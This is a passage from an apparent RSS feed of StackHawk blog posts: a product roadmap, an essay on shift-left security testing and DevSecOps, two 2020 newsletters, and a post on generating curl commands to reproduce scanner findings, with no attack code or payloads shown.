unknowns that at some point overflows and detracts from the product development roadmap.&lt;/p&gt;&lt;p&gt;&lt;b&gt;What lies ahead?&lt;/b&gt; &lt;/p&gt;&lt;p&gt;We are constantly prioritizing our roadmap based on customer feedback. That being said, there are a couple areas where we are always investing. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Assessment:&lt;/b&gt; We are continuing to improve both the speed and accuracy of the StackHawk scanner so that the platform fits seamlessly into the developer workflow. Some specifics include surfacing scanner “checks” and time to complete, allowing users to disable checks in the scanner and creating technology stack specific scanner profiles. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Better Fix Information:&lt;/b&gt; In October we released huge improvements to our documentation site, &lt;a href=&quot;https://docs.stackhawk.com/&quot;&gt;HawkDocs&lt;/a&gt;. We are continuing to improve fix documentation for developers once a security bug is found and are working to provide documentation specific to the language or framework of the scanned application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scan from Platform:&lt;/b&gt; To start a scan today, users run a docker command in their terminal. In the future we want to make this even easier by giving users the power to kick-off a scan from the StackHawk platform in the UI.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Developer Workflow Integrations:&lt;/b&gt; Building integrations so that StackHawk ties in with the developer workflow will always be important to us. Our roadmap includes additional integrations in categories such as CI/CD, notifications (Microsoft Teams, PagerDuty, etc.), and ticketing (PivotalTracker, GitHub Issues, etc.).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Enhance Your Security Program with Developer-Centric Security Test Automation]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/enhance-your-security-program-with-developer-centric-security-test-automation</guid><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Brian Myers]]></dc:creator><content:encoded>&lt;h3&gt;Shifting Left for Agile&lt;/h3&gt;&lt;p&gt;The &lt;a href=&quot;https://agilemanifesto.org/&quot;&gt;Agile Manifesto&lt;/a&gt; (2001) doesn’t mention testing directly, but one of its primary effects was a sea change in the practice of software quality assurance. Placing a premium on “responding to change” and “delivering working software frequently” required finding ways to collapse the formerly sequential processes of coding and testing. Agile testers strive to design the tests at the same time the developers begin coding. To minimize the time needed to validate changes, the tests should be ready when the code is, and they should be largely automated. “Shift-left testing,” as &lt;a href=&quot;https://www.drdobbs.com/shift-left-testing/184404768&quot;&gt;Larry Smith defined it&lt;/a&gt; in the same year as the Agile Manifesto, integrates test and development activities by involving QA early, getting tests into code as soon as possible, and looking for ways to speed up the release cycle.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;“Shift Left” gets its name from the notion of a sequential, left-to-right software development process that typically proceeds from gathering requirements to design, implementation, test, and release. Moving left on the process line means moving to an earlier stage in the process.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;The benefits of shift-left testing are many. First, in keeping with Agile precepts, it helps companies deliver business value more often and more reliably. Second, rapid incremental changes contribute to software quality and stability because small, continual changes are easier to manage than larger, less frequent, and more disruptive changes. Third, as has been shown repeatedly, shift-left testing reduces costs by finding bugs earlier. A &lt;a href=&quot;https://www.nist.gov/system/files/documents/director/planning/report02-3.pdf&quot;&gt;NIST report from 2001&lt;/a&gt; says fixing bugs in production costs businesses 30 times as much as fixing them early in development.&lt;/p&gt;&lt;h3&gt;Benefits of Shifting Left&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Deliver business value quickly and often&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Improve software quality&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Save money by fixing bugs early&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Shifting Left for DevOps&lt;/h2&gt;&lt;p&gt;In light of the Agile imperative to ship code early and often, the operational steps for code release began to seem like an obstacle. Getting finished code to production is a process in itself, traditionally owned by an operations team whose expertise includes managing servers, provisioning databases, protecting private keys, monitoring systems, and other work necessary for making finished code work in a live environment. Might there be a way to shift one step further left?&lt;/p&gt;&lt;p&gt;In 2009, motivated by a desire to overcome the friction that commonly hinders siloed ops and dev teams from releasing smoothly and reliably, Patrick Debois founded the DevOpsDays conference. DevOps aims to make operational processes easy, quick, and reliable so that developers can do more of the work themselves. And once again, automation was the key to unlocking business value. DevOps calls for a delivery pipeline in the form of a tool chain that builds, configures, tests, and provisions deployable software units–generally packages, containers, or virtual machines. Automated tests are needed to confirm that the deployable units are built and function correctly.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Automation was the key to unlock business value.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Just as shifting left for Agile required breaking down silos and strengthening cooperation between developers and testers, so shifting left for DevOps requires building trust between operations and development teams. The disciplines remain distinct but the lines of responsibility blur across roles. Operations advises teams and creates guard rails to support the safe provisioning of deployable units on demand. Development teams then own their own software from conception all the way to production. Operations engineers, like testers, become guides on a cross-functional team rather than rulers of an isolated domain.&lt;/p&gt;&lt;h3&gt;Shifting Left for Security&lt;/h3&gt;&lt;p&gt;Security came late to the left-shifting game for several reasons. First, application security was a less well developed field then. &lt;a href=&quot;https://www.cvedetails.com/browse-by-date.php&quot;&gt;The universe of known vulnerabilities was much smaller&lt;/a&gt;. The first release of the OWASP Top Ten Web App Risks didn’t arrive until 2003. Some of the earliest application vulnerability scanners appeared a few years later (such as Paros in 2005 and w3af in 2007). Second, security scanners often take a long time to run, produce a significant number of false positives, and require some degree of security expertise to interpret correctly. These characteristics do not fit well in an Agile pipeline where the job of automated testing is to provide prompt feedback in the form of a clear green-light indicator if the system under test is ready.&lt;/p&gt;&lt;p&gt;As Agile and DevOps cleared the path for code changes to flow quickly from concept to production, security testing inevitably stood out as an obstacle. And again the pattern for change involved the same elements as earlier shifts: improving automation capabilities and blurring lines between siloed groups. If interpreting test results and implementing or approving fixes requires the intervention of a security team, then Security becomes a bottleneck and an obstacle to business goals. Instead, security teams and tools must help &lt;i&gt;developers&lt;/i&gt; make good decisions. People addressing this shift gather under the rubric of &lt;a href=&quot;https://www.copado.com/resources/blog/devsecops-vs-agile-it-s-not-either-or&quot;&gt;DevSecOps&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Developer-Centric Security Test Automation&lt;/h3&gt;&lt;p&gt;The goal of much modern application security test automation, then, is to provide results where they are most needed: to developers as they write code. Test automation should lower costs and speed delivery by surfacing problems as soon as possible to the people who are in the best position to fix them. &lt;/p&gt;&lt;p&gt;Agile, DevOps, and DevSecOps each put more responsibility on development teams and rely on automation to help them succeed. All three are primarily cultural changes. Developers must assume some responsibility for quality, operations, and security. Experts must provide whatever guidance and tools will help developers succeed, trust them to be responsible, and help if anything goes wrong.&lt;/p&gt;&lt;p&gt;Technology too must support the change. Shifting everything left requires a well-engineered CI/CD pipeline to provide automation so teams can execute complex tasks reliably and consistently. The end users of security test automation tools are no longer security professionals but developers, and tool makers must adapt by empathizing and integrating with the way developers work. &lt;/p&gt;&lt;h3&gt;Success Criteria for Automated Security Testing&lt;/h3&gt;&lt;p&gt;Knowing that the goal of automated security testing is to bring vulnerability data to developers suggests the criteria for success. A good solution must provide:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Developer-Centric Workflow&lt;/b&gt;: Developers must be able to generate and consume test results as close as possible to their own coding work–preferably along with other acceptance test results, either in their IDE or in the build pipeline. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Quick and Accurate Results&lt;/b&gt;: Long tests don’t get run often, and neither do tests that fail for no good reason. Slowness and inaccuracy are common in legacy scanning tools that probe for thousands of known flaws. Modern tools provide configuration options for more precise targeting, or even automatically drop tests irrelevant to your application architecture. For faster and more actionable results, scan small units such as microservices and APIs individually.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Developer-Centric Reports&lt;/b&gt;: Early scanners produced reports intended for security teams. In DevSecOps, scanner reports go to developers. This shift calls for clearer language, helpful explanations, example code solutions, and as much detail as possible about how to reproduce the problem. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Broad Integration Capabilities&lt;/b&gt;: Scanners need to integrate not just with standard elements in the CI/CD tool chain but with other parts of the company workflow as well including, for example, issue ticketing systems and enterprise reporting tools such as a SIEM.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Pitfalls in Adopting Test Automation&lt;/h3&gt;&lt;p&gt;For all its benefits, test automation is complex and, like any complex process, it can go wrong. Here are some problems to avoid.&lt;/p&gt;&lt;h3&gt;Solving Test Automation with Tools and Not People&lt;/h3&gt;&lt;p&gt;As the review of Agile, DevOps, and DevSecOps transformations suggests, successful shift-left automation must prioritize cultural change first. Automating Agile tests doesn’t help much if the developers and testers don’t cooperate to agree on tests early, or if testers don’t trust the tests developers write. Similarly, Security must trust developers to internalize and act on Security priorities themselves. &lt;/p&gt;&lt;h3&gt;Forgetting That Test Automation Is Code Too&lt;/h3&gt;&lt;p&gt;Test automation is code and needs the same architectural leadership as any well-crafted software: an informed choice of the right tools, consensus on goals and methods, and discipline in execution. It requires staff who analyze complex systems and make consistent decisions about what to automate, and who can implement automation with clear, maintainable code. As &lt;a href=&quot;https://www.satisfice.com/download/test-automation-snake-oil&quot;&gt;James Bach wrote in 1999&lt;/a&gt;, automated testing projects will fail “if the machinery of testing distracts you from the craft of testing.” &lt;/p&gt;&lt;h3&gt;In Conclusion&lt;/h3&gt;&lt;p&gt;Twenty years of software process advances following from the Agile Manifesto have consistently aimed to create software iteratively, quickly, and reliably. Quick iterations necessarily rely on test automation. By expanding our automation tools and capabilities, we can include system provisioning and security testing in the delivery pipeline. Success requires finding developer-centric tools and processes that give developers prompt and precise feedback with every build, or even every check-in.
For more about integrating developer-centric AppSec testing in your CI/CD pipeline, try &lt;a href=&quot;https://www.stackhawk.com/blog/align-engineering-security-appsec-tests-in-ci/&quot;&gt;this article&lt;/a&gt; next.&lt;/p&gt;&lt;h3&gt;Further Reading&lt;/h3&gt;&lt;p&gt;This article touched briefly on problems and practices that have generated discussion for decades. Here are a few landmarks and informative articles for readers who might want to know more about the history, current state, or best practices in test automation.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Introductions to Agile, DevOps, and DevSecOps&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;https://agilemanifesto.org/&quot;&gt;Agile Manifesto&lt;/a&gt; and &lt;a href=&quot;https://agilemanifesto.org/principles.html&quot;&gt;Twelve Principles&lt;/a&gt; (2001)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://newrelic.com/devops/what-is-devops&quot;&gt;What Is DevOps&lt;/a&gt;? (New Relic, 2015)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.devsecops.org/blog/2015/2/15/what-is-devsecops&quot;&gt;What is DevSecOps?&lt;/a&gt; (DevSecOps.org, 2015)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://tech.gsa.gov/guides/understanding_differences_agile_devsecops/&quot;&gt;Understanding the Differences Between Agile &amp;amp; DevSecOps – from a Business Perspective&lt;/a&gt; (US General Services Administration, no date)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Security Standards Requiring Vulnerability Scans&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.fedramp.gov/assets/resources/documents/CSP_Vulnerability_Scanning_Requirements.pdf&quot;&gt;FedRAMP Vulnerability Scanning Requirements&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.iso.org/obp/ui/#iso:std:iso-iec:27002:ed-2:v1:en&quot;&gt;ISO 27002-2013&lt;/a&gt; (14.2.8 “Testing of security functionality needs to be carried out during development.”)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final&quot;&gt;NIST SP800-53r5&lt;/a&gt; RA-5&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.pcisecuritystandards.org/documents/PCI_DSS-QRG-v3_2_1.pdf&quot;&gt;PCI-DSS&lt;/a&gt; 6.1 and 6.6&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Test Automation&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.satisfice.com/download/test-automation-snake-oil&quot;&gt;Test Automation Snake Oil&lt;/a&gt; (James Bach, 1996)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20110707113430/http:/info.allianceglobalservices.com/Portals/30827/docs/test%20automation%20framework%20and%20guidelines.pdf&quot;&gt;Guidelines to Create a Robust Test Automation Framework&lt;/a&gt; (Alliance Global Services, 2009)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stickyminds.com/sites/default/files/article/file/2014/When%20Should%20a%20Test%20Be%20Automated.pdf&quot;&gt;When Should a Test Be Automated&lt;/a&gt; (Brian Marick, 2000)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2012/ee330950(v=vs.110)?redirectedfrom=MSDN&quot;&gt;Test Early and Often&lt;/a&gt; (Microsoft, 2012)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://uploads.pnsqc.org/2015/papers/t-007_Ariola_paper.pdf&quot;&gt;DevOps: Are You Pushing Bugs to Your Clients Faster?&lt;/a&gt; (Wayne Ariola, 2015)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Current State of DevSecOps&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=8armE3Wz0jk&quot;&gt;Every Security Team Is a Software Team Now&lt;/a&gt; (BlackHat keynote, 2019)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[December Newsletter: Free Developer Plan, Real-Time Scan Updates, and More]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/december-newsletter-2020</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h3&gt;The Changelog: New Features to Kaakaww About&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Real-Time Scan Progress:&lt;/b&gt; Things are getting real…time. We are now showing you the progress of your scans in real-time from the Scans and Scan Details views.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Free Developer Plan:&lt;/b&gt; You can now get access to all of the best features on the StackHawk platform for free! More details on that below. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;New Getting Started Flow:&lt;/b&gt; We want to make it easy to kick-off your first scan, so you can now choose to scan your own application or Google Firing Range (a publicly available sample application).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;View GraphQL Specific Data:&lt;/b&gt; The query and variables of your GraphQL request can now be found in the right panel of the findings view. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scan Filtering Capabilities:&lt;/b&gt; Find what you’re searching for. Use multiple filters to find specific scan results and visualize scan findings in bar graphs and cards.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Start the New Year with Our Free Developer Plan&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Our free Developer plan is the perfect tool to get going on your AppSec New Year’s resolution. Now anyone can have application security integrated in CI/CD to build more secure applications all year long.  &lt;/p&gt;&lt;p&gt;And we promise, it is &lt;i&gt;way&lt;/i&gt; easier than going to the gym.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Get Your Free Account&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.devseccon.com/tooling-over-training-scaling-application-security-with-automation-secadvent-day-12/&quot;&gt;Sec Advent – Tooling Over Training: Scaling Application Security With Automation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;/blog/security-testing-authenticated-app-routes-part-1-cookie-authentication/&quot;&gt;Security Testing Authenticated App Routes – Part 1: Cookie Authentication&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-sca-and-dast/&quot;&gt;Developer-Centric Application Security Testing with DAST and SCA&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/test-driven-security-with-stackhawk-and-spinnaker/&quot;&gt;Test-Driven Security With StackHawk and Spinnaker&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽&lt;/b&gt; &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;p&gt;We have wrapped all of our virtual events for 2021 with great conferences like GitHub Universe and GraphQL Galaxy in the month of December. Join us in the New Year for more great events!&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://us02web.zoom.us/webinar/register/3816085815586/WN_Fmw9HbpOSX--7KvKG7RaCg&quot;&gt;StackHawk and GitLab Webinar&lt;/a&gt;: January 20&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.testjssummit.com/&quot;&gt;TestJS Summit&lt;/a&gt;: January 28-29&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📺 HawkTalks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://gitnation.zoom.us/rec/play/99vrWZeUHpHvh6OTajdpzgXxg4ceWqZHIJdefMq5Nc0I81f1YDqRcWG9V3zdPDGsJaNMOGHqCc2CkL07.GKcBBJdq8EALKMad?continueMode=true&amp;_x_zm_rtaid=QbjNHyJPS8aOZgouWHCxqw.1608565120183.8e3ac37e7dd44365ddb61eec465dba6b&amp;_x_zm_rhtaid=86&quot;&gt;Securing GraphQL APIs with StackHawk&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://us02web.zoom.us/webinar/register/WN_Q6YC9zu-QW-e4KJSEofSmA&quot;&gt;StackHawk and Snyk Automate Application Security with GitHubActions&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://us02web.zoom.us/webinar/register/7916085907008/WN_WhAkbtdwQdqJWdPCzYG0-g&quot;&gt;How to Integrate AppSec in CI/CD with StackHawk and Armory&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=CxjHGWk4BCs&amp;list=PLz_NN8o2uh8AQ7VyUEN1GCCnpzl5_FaJA&quot;&gt;ZAP Deep Dive Series&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share about StackHawk with your friends and colleagues. As always, thank you for your support!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[November Newsletter: CISO Choice Award, UI Updates, and More]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/november-newsletter-2020</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h3&gt;We Interrupt Our Regularly Scheduled Hawk Talk&lt;/h3&gt;&lt;p&gt;To wish you a very happy Thanksgiving!   #kaakaww🦅 #gobblegobble🦃&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;The Changelog: New features to Gobble About&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Findings History.&lt;/b&gt; The closest we could get to a time machine. The findings details panel now contains an activity tab to view a history of a finding’s actions and status.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Release Notes Updates&lt;/b&gt;: Users will now receive nudges in the UI when new release notes are published.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;UI Improvements.&lt;/b&gt; We may be biased, but the platform’s UI is looking better than ever on both mobile and desktop thanks to some tuning from our front end team.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Exciting Changes on the Horizon&lt;/b&gt;. We have been working hard on an update that will launch in December. Stay tuned!&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;StackHawk Wins AppSec CISO Choice Award&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We were thrilled to find out we had been selected as the Application Security category winner for the first-ever CISO Choice Awards. What makes this award unique is that experienced CISOs select the finalists and winners. &lt;/p&gt;&lt;p&gt;We sat down (well, virtually sat down) with StackHawk CSO and Co-Founder, Scott Gerlach, to talk about what makes this award meaningful for a security leader.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/ciso-choice-awards-qa-with-scott-gerlach/&quot;&gt;Read the Blog&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Other Happenings&lt;/h3&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.businessinsider.com/startups-devsecopps-developer-security-operations-cybersecurity-snyk-contrast-auth0-2020-11&quot;&gt;StackHawk Named as Developer Security Startup to Know&lt;/a&gt; &lt;b&gt;[paywall]:&lt;/b&gt; Business Insider recognizes StackHawk as one of the key startups putting security into the hands of developers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-belongs-in-the-ci-pipeline/&quot;&gt;Application Security Belongs in the CI Pipeline:&lt;/a&gt; To keep up with frequent deployments, security testing needs to be approached through the proven model used for application testing. [Originally published on TFIR.io]&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/integrated-microservices-in-kubernetes/&quot;&gt;&lt;b&gt;How to Develop Microservices in Kubernetes:&lt;/b&gt;&lt;/a&gt; Learn how we have approached the challenges of developing a rapidly expanding set of microservices of our platform through Docker Compose and Kubernetes.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽&lt;/b&gt; &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;p&gt;We attended tons of great virtual conferences in November including API World, DeveloperWeek Enterprise and KubeCon. We have several more virtual events coming up in December as well as webinars and workshops.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://graphqlgalaxy.com/&quot;&gt;&lt;b&gt;GraphQL Galaxy&lt;/b&gt;&lt;/a&gt;: Dec 7-8&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://githubuniverse.com/&quot;&gt;&lt;b&gt;GitHub Universe&lt;/b&gt;&lt;/a&gt;: Dec 8-10&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[Workshop]&lt;/b&gt; &lt;a href=&quot;https://graphqlgalaxy.com/workshops-3h&quot;&gt;&lt;b&gt;Securing GraphQL&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; Dec 10, 9 am MT&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[Webinar]&lt;/b&gt; &lt;a href=&quot;https://us02web.zoom.us/webinar/register/WN_WhAkbtdwQdqJWdPCzYG0-g&quot;&gt;Integrate AppSec Testing into CI/CD&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; Dec 11, 11 am MT&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Open Core Summit:&lt;/b&gt; Dec 16-17&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📺&lt;/b&gt; &lt;b&gt;HawkTalks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.brighttalk.com/webcast/17752/447423?utm_source=StackHawk&amp;utm_medium=brighttalk&amp;utm_campaign=Appsecwebinar&quot;&gt;Automating AppSec in CircleCi&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️   Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share about StackHawk with your friends and colleagues. As always, thank you for your support!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Fixing Security Bugs Faster with cURL Validation]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/fix-bugs-curl-validation</guid><category><![CDATA[Tech Learnings]]></category><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[Nick Teets]]></dc:creator><content:encoded>&lt;p&gt;As a front end developer, I’ve scoured countless pages of documentation and StackOverflow replies seeking the answer to a problem I’m trying to solve. When the issue stems from a network request or other type of data transfer, these resources have suggested using curl to execute your request. When fixing security vulnerabilities, executing a request via curl allows you to more quickly find the part of the codebase that needs to be fixed. At StackHawk, our new Validate Finding feature allows you to find and fix your security bugs faster.&lt;/p&gt;&lt;h3&gt;Overview of curl&lt;/h3&gt;&lt;p&gt;curl allows for the transfer data using HTTP protocol from the command line. Passing along flags give you the ability to specify your request verb (GET, POST, DELETE, etc), data output format and headers. Data can be passed along in various ways, with JSON being a common choice. This should sound familiar if you’ve used the JavaScript client Axios, Fetch web API or the GUI platform &lt;a href=&quot;https://www.postman.com/&quot;&gt;Postman&lt;/a&gt; for interacting with an API – curl acts similarly as a ubiquitous command line interface.  &lt;/p&gt;&lt;p&gt;Nearly everyone with access to a command line interface can use curl, regardless of operating system (if you’re a Windows developer, many workflow tools, like Git for Windows, will have curl built in). This makes it an excellent broadly applicable tool to help developers regardless of language, framework, or type of application they are supporting.&lt;/p&gt;&lt;h3&gt;Finding Security Bugs with StackHawk&lt;/h3&gt;&lt;p&gt;Given the widespread use and power of curl commands, we can use the data provided from StackHawk to recreate a potential attack on our application. StackHawk is an application security testing tool, scanning your application to find security bugs. One of the easiest ways attackers will exploit your application is through a client-side input – &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;cross site scripting&lt;/a&gt; (the injection of JavaScript into an input field to gain control of your app) and &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;SQL injection&lt;/a&gt; (the execution malicious queries on your database) are two of the most common ways attackers will exploit unsafe input fields. StackHawk can find these security bugs and more.&lt;/p&gt;&lt;h3&gt;Fixing Security Bugs with curl + StackHawk&lt;/h3&gt;&lt;p&gt;After a StackHawk scan is complete, you can jump into the web application to take a look at the list of findings. The UI gives details of the request and response payloads for a particular finding. When you have a security bug, the newly released Validate button helps you fix the problem faster.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Clicking on the Validate button will generate the curl command used to identify the bug. This curl command will have the correct HTTP verb, headers and data fields to recreate the potential attack. By running this curl command in debug mode in your IDE, you can step through the requests to identify where the bug lives in code. With this, you can quickly fix the vulnerability and get back to building software.&lt;/p&gt;&lt;p&gt;At StackHawk, we aim to empower developers to own their application security through knowledge and tooling, like the ability to recreate a curl attack from within our platform. Using this knowledge, you can protect your input fields, write tests against malicious data requests and have the peace of mind knowing how your web application can be attacked.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Welcoming Simon Bennetts, Founder of Zed Attack Proxy (ZAP), to the StackHawk Team!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/welcoming-zap-founder-simon-bennetts</guid><category><![CDATA[ZAP]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;My co-founders and I met Simon a couple of months ago after a Tweet about how StackHawk was built on top of &lt;a href=&quot;https://www.zaproxy.org/&quot;&gt;ZAP&lt;/a&gt;. In our first call, we shared how: &lt;/p&gt;&lt;p&gt;&lt;i&gt;StackHawk was founded to deliver a product that makes it easy for developers and DevOps teams to find and fix security bugs before they are deployed to production.&lt;/i&gt; 